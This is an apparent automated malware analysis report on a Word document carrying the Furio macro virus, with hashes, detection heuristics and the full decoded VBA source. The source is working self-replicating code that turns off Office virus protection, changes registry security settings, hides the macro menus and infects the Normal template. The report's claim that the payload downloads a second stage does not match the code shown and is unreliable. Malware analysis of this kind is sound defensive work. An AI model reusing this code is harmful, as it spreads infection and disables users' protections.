Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8326de0276abd1ed…

MALICIOUS

Office (OLE)

49.0 KB Created: 2001-04-05 18:22:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 5fb18ac643481cda2c1402e0dabbfe97 SHA-1: b118b03a4206c14e436cfbe8114f00de7ebf731a SHA-256: 8326de0276abd1ed2c0758cc2e15f0ad8a4513e4d755fc8e438c9d738e58f5f9
348 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

This document contains legacy WordBasic and VBA macros designed to disable security settings and export its components to the startup path. The AutoClose macro attempts to modify the Normal template and potentially establish persistence by writing to the registry. The presence of the 'Payload' subroutine suggests it is intended to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        MyApp = Shell("notepad.exe", 1)
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ActiveDocument.VBProject.VBComponents.Import (Application.StartupPath & "\Furio.drv")
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3697 bytes
SHA-256: 29c573cd65943963742b5cd8d9217b8390726cd6627b04702cb1b2980ac1ea3c
Detection
ClamAV: Doc.Trojan.Furio-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Furio"
' Furio
Sub AutoClose()
    On Error Resume Next
    ' Furio Virus v2.00 by WalruS 04/01
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Application.DisplayAlerts = wdAlertsNone
    Application.DisplayStatusBar = False
    Application.ScreenUpdating = False
    ActiveDocument.ReadOnlyRecommended = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WalruS"
    ActiveDocument.VBProject.VBComponents("Furio").export (Application.StartupPath & "\Furio.drv")
    ActiveDocument.VBProject.VBComponents("AboutFrm").export (Application.StartupPath & "\AboutFrm.Frm")
    SetAttr (Application.StartupPath & "\Furio.drv"), 6
    Template = Dir(Application.StartupPath & "\Furio.dot")
    If Template = "" Then
    NormalTemplate.OpenAsDocument
    ActiveDocument.VBProject.VBComponents.Import (Application.StartupPath & "\Furio.drv")
    ActiveDocument.VBProject.VBComponents.Import (Application.StartupPath & "\AboutFrm.frm")
    ActiveDocument.SaveAs (Application.StartupPath & "\Furio.dot")
    NormalTemplate.Saved = True
    ActiveDocument.Close
    End If
    If Second(Now) = Minute(Now) Then Call Payload
End Sub

Sub SpreadTheWord()
    On Error Resume Next
    If ActiveDocument.VBProject.VBComponents.Item("Furio").CodeModule.Lines(1, 1) <> "' Furio" Then
    ActiveDocument.VBProject.VBComponents.Import (Application.StartupPath & "\Furio.drv")
    ActiveDocument.VBProject.VBComponents.Import (Application.StartupPath & "\AboutFrm.frm")
    ActiveDocument.Save
    End If
End Sub

Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call SpreadTheWord
End Sub

Sub FileSave()
    On Error Resume Next
    Call SpreadTheWord
    ActiveDocument.Save
End Sub

Sub FilePrintDefault()
    On Error Resume Next
    Call SpreadTheWord
    If Second(Now) = 59 Then Selection.TypeText " Please Select Help About For More Information!"
    ActiveDocument.PrintOut
End Sub

Sub Payload()
    On Error Resume Next
    Options.BlueScreen = True
    MyApp = Shell("notepad.exe", 1)
    SendKeys "Hello there!~~Im the WalruS. Welcome To My New Creation - Furio~~~///0-0\\\    WalruS 09/00", True
    AppActivate (MyApp)
End Sub

Sub HelpAbout()
    On Error Resume Next
    AboutFrm.Show
End Sub

Sub ToolsOptions()
    On Error Resume Next
    Options.VirusProtection = 1
    Options.SaveNormalPrompt = 1
    Dialogs(wdDialogToolsOptions).Show
    Options.VirusProtection = 0
    Options.SaveNormalPrompt = 0
End Sub

Sub ViewVBCode(): End Sub
Sub ToolsMacro(): End Sub
Sub FileTemplates(): End Sub ' cya

Attribute VB_Name = "AboutFrm"
Attribute VB_Base = "0{9C7CB0F9-0225-449A-B970-F553482DC1F4}{1E0836F1-52A4-4A56-93D7-A09052E10045}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub Label2_Click()
MsgBox "Goo Goo G'Joob", vbExclamation, "Furio By WalruS"
End Sub

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